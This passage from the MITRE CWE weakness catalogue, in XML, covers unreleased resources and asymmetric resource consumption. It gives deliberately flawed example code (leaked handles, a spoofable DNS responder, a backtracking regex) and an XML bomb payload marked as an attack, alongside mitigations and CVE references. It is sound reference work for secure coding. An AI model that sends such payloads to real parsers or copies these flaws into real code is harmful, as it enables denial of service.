                  <xhtml:div>...<xhtml:br/>SqlConnection conn = new SqlConnection(connString);<xhtml:br/>SqlCommand cmd = new SqlCommand(queryString);<xhtml:br/>cmd.Connection = conn;<xhtml:br/>conn.Open();<xhtml:br/>SqlDataReader rdr = cmd.ExecuteReader();<xhtml:br/>HarvestResults(rdr);<xhtml:br/>conn.Connection.Close();<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-84">
               <Intro_Text>The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int decodeFile(char* fName) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char buf[BUF_SZ];<xhtml:br/>FILE* f = fopen(fName, "r");<xhtml:br/>if (!f) {<xhtml:div style="margin-left:1em;">printf("cannot open %s\n", fName);<xhtml:br/>return DECODE_FAIL;</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>while (fgets(buf, BUF_SZ, f)) {<xhtml:div style="margin-left:1em;">if (!checkChecksum(buf)) {<xhtml:div style="margin-left:1em;">return DECODE_FAIL;</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">decodeBlock(buf);</xhtml:div>}</xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>fclose(f);<xhtml:br/>return DECODE_SUCCESS;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-85">
               <Intro_Text>In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>class A {<xhtml:div style="margin-left:1em;">void foo();</xhtml:div>};<xhtml:br/>void A::foo(){<xhtml:div style="margin-left:1em;">int *ptr;<xhtml:br/>ptr = (int*)malloc(sizeof(int));<xhtml:br/>delete ptr;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-86">
               <Intro_Text>In this example, the program calls the delete[] function on non-heap memory.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>class A{<xhtml:div style="margin-left:1em;">void foo(bool);</xhtml:div>};<xhtml:br/>void A::foo(bool heap) {<xhtml:div style="margin-left:1em;">int localArray[2] = {<xhtml:div style="margin-left:1em;">11,22</xhtml:div>};<xhtml:br/>int *p = localArray;<xhtml:br/>if (heap){<xhtml:div style="margin-left:1em;">p = new int[2];</xhtml:div>}<xhtml:br/>delete[] p;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1127</Reference>
               <Description>Does not shut down named pipe connections if malformed data is sent.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1127</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0830</Reference>
               <Description>Sockets not properly closed when attacker repeatedly connects and disconnects from server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0830</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1372</Reference>
               <Description>Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1372</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Improper resource shutdown or release</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Unreleased Resource</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO42-C</Entry_ID>
               <Entry_Name>Close files when they are no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM31-C</Entry_ID>
               <Entry_Name>Free dynamically allocated memory when no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO04-J</Entry_ID>
               <Entry_Name>Release resources when they are no longer needed</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP14</Entry_ID>
               <Entry_Name>Failure to release resource</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="125"/>
            <Related_Attack_Pattern CAPEC_ID="130"/>
            <Related_Attack_Pattern CAPEC_ID="131"/>
            <Related_Attack_Pattern CAPEC_ID="494"/>
            <Related_Attack_Pattern CAPEC_ID="495"/>
            <Related_Attack_Pattern CAPEC_ID="496"/>
            <Related_Attack_Pattern CAPEC_ID="666"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 8: C++ Catastrophes.&#34; Page 143"/>
         </References>
         <Notes>
            <Note Type="Relationship">Overlaps memory leaks, asymmetric resource consumption, malformed input errors.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Likelihood_of_Exploit, Other_Notes, Potential_Mitigations, Relationship_Notes, Relationships, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Functional_Areas, Likelihood_of_Exploit, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="405" Name="Asymmetric Resource Consumption (Amplification)" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."</Description>
         <Extended_Description>This can lead to poor performance due to "amplification" of resource consumption, typically in a non-linear fashion.  This situation is worsened if the product allows malicious users or attackers to consume more resources than their access level permits.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
            <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            <Technology Class="Client Server" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Amplification</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
	       <Likelihood>High</Likelihood>
               <Note>Sometimes this is a factor in "flood" attacks, but other types of amplification exist.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>An application must make resources available to a client commensurate with the client's access level.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>An application must, at all times, keep track of allocated resources and meter their usage appropriately.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Consider disabling resource-intensive algorithms on the server side, such as Diffie-Hellman key exchange.</Description>
	       <Effectiveness>High</Effectiveness>
	       <Effectiveness_Notes>Business requirements may prevent disabling resource-intensive algorithms.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
	 <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-113">
               <Intro_Text>This code listens on a port for DNS requests and sends the result to the requesting address.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<xhtml:br/>sock.bind( (UDP_IP,UDP_PORT) )<xhtml:br/>while true:<xhtml:div style="margin-left:1em;">
                        <xhtml:div>data = sock.recvfrom(1024)<xhtml:br/>if not data:<xhtml:div style="margin-left:1em;">break</xhtml:div>
                           <xhtml:br/>(requestIP, nameToResolve) = parseUDPpacket(data)<xhtml:br/>record = resolveName(nameToResolve)<xhtml:br/>sendResponse(requestIP,record)</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-157">
               <Intro_Text>This data prints the contents of a specified file requested by a user.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function printFile($username,$filename){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>//read file into string</xhtml:i>
                           <xhtml:br/>$file = file_get_contents($filename);<xhtml:br/>if ($file &amp;&amp; isOwnerOf($username,$filename)){<xhtml:div style="margin-left:1em;">echo $file;<xhtml:br/>return true;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">echo 'You are not authorized to view this file';</xhtml:div>}<xhtml:br/>return false;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-53">
               <Intro_Text>The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.</Intro_Text>
               <Example_Code Nature="Attack" Language="XML">
                  <xhtml:div>&lt;?xml version="1.0"?&gt;<xhtml:br/>&lt;!DOCTYPE MaliciousDTD [<xhtml:br/>&lt;!ENTITY ZERO "A"&gt;<xhtml:br/>&lt;!ENTITY ONE "&amp;ZERO;&amp;ZERO;"&gt;<xhtml:br/>&lt;!ENTITY TWO "&amp;ONE;&amp;ONE;"&gt;<xhtml:br/>...<xhtml:br/>&lt;!ENTITY THIRTYTWO "&amp;THIRTYONE;&amp;THIRTYONE;"&gt;<xhtml:br/>]&gt;<xhtml:br/>&lt;data&gt;&amp;THIRTYTWO;&lt;/data&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
	   <Demonstrative_Example Demonstrative_Example_ID="DX-158">
             <Intro_Text>This example attempts to check if an input string is a "sentence" [REF-1164].</Intro_Text>
             <Example_Code Nature="Bad" Language="JavaScript">
               var test_string = "Bad characters: $@#";<xhtml:br/>
               var bad_pattern  = /^(\w+\s?)*$/i;<xhtml:br/>
               var result = test_string.search(bad_pattern);
             </Example_Code>
             <Body_Text><xhtml:p>The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.</xhtml:p>
	     <xhtml:p>To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is:</xhtml:p></Body_Text>
             <Example_Code Nature="Good" Language="JavaScript">
               var test_string = "Bad characters: $@#";<xhtml:br/>
               var good_pattern  = /^((?=(\w+))\2\s?)*$/i;<xhtml:br/>
               var result = test_string.search(good_pattern);
             </Example_Code>
             <Body_Text>Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.</Body_Text>
	   </Demonstrative_Example>
	   <Demonstrative_Example>
	     <Intro_Text>An adversary can cause significant resource
	     consumption on a server by filtering the cryptographic
	     algorithms offered by the client to the ones that are the
	     most resource-intensive on the server side. After
	     discovering which cryptographic algorithms are supported
	     by the server, a malicious client can send the initial
	     cryptographic handshake messages that contains only the
	     resource-intensive algorithms. For some cryptographic
	     protocols, these messages can be completely
	     prefabricated, as the resource-intensive part of the
	     handshake happens on the server-side first (such as TLS),
	     rather than on the client side. In the case of
	     cryptographic protocols where the resource-intensive part
	     should happen on the client-side first (such as SSH), a
	     malicious client can send a forged/precalculated
	     computation result, which seems correct to the server, so
	     the resource-intensive part of the handshake is going to
	     happen on the server side. A malicious client is required
	     to send only the initial messages of a cryptographic
	     handshake to initiate the resource-consuming part of the
	     cryptographic handshake. These messages are usually
	     small, and generating them requires minimal computational
	     effort, enabling a denial-of-service attack. An
	     additional risk is the fact that higher key size
	     increases the effectiveness of the attack. Cryptographic
	     protocols where the clients have influence over the size
	     of the used key (such as TLS 1.3 or SSH) are most at
	     risk, as the client can enforce the highest key size
	     supported by the server.</Intro_Text>
	   </Demonstrative_Example>
	 </Demonstrative_Examples>
	 <Observed_Examples>
           <Observed_Example>
             <Reference>CVE-1999-0513</Reference>
             <Description>Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.</Description>
             <Link>https://www.cve.org/CVERecord?id=CVE-1999-0513</Link>
           </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1564</Reference>
               <Description>Parsing library allows XML bomb</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1564</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2458</Reference>
               <Description>Tool creates directories before authenticating user.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2458</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-10735</Reference>
               <Description>Python has "quadratic complexity" issue when converting string to int with many digits in unexpected bases</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-10735</Link>
            </Observed_Example>
            <Observed_Example>
              <Reference>CVE-2020-5243</Reference>
              <Description>server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking.</Description>
              <Link>https://www.cve.org/CVERecord?id=CVE-2020-5243</Link>
            </Observed_Example>
            <Observed_Example>
              <Reference>CVE-2013-5211</Reference>
              <Description>composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.</Description>
              <Link>https://www.cve.org/CVERecord?id=CVE-2013-5211</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2002-20001</Reference>
	      <Description>Diffie-Hellman (DHE) Key Agreement Protocol allows attackers to send arbitrary numbers that are not public keys, which causes the server to perform expensive, unnecessary computation of modular exponentiation.</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2002-20001</Link>
	    </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2022-40735</Reference>
	      <Description>The Diffie-Hellman Key Agreement Protocol allows use of long exponents, which are more computationally expensive than using certain "short exponents" with particular properties.</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2022-40735</Link>
	    </Observed_Example>
	 </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Asymmetric resource consumption (amplification)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>41</Entry_ID>
               <Entry_Name>XML Attribute Blowup</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>TPS00-J</Entry_ID>
               <Entry_Name>Use thread pools to enable graceful degradation of service during traffic bursts</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO04-J</Entry_ID>
               <Entry_Name>Release resources when they are no longer needed</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
           <Reference External_Reference_ID="REF-1164"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Functional_Areas</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
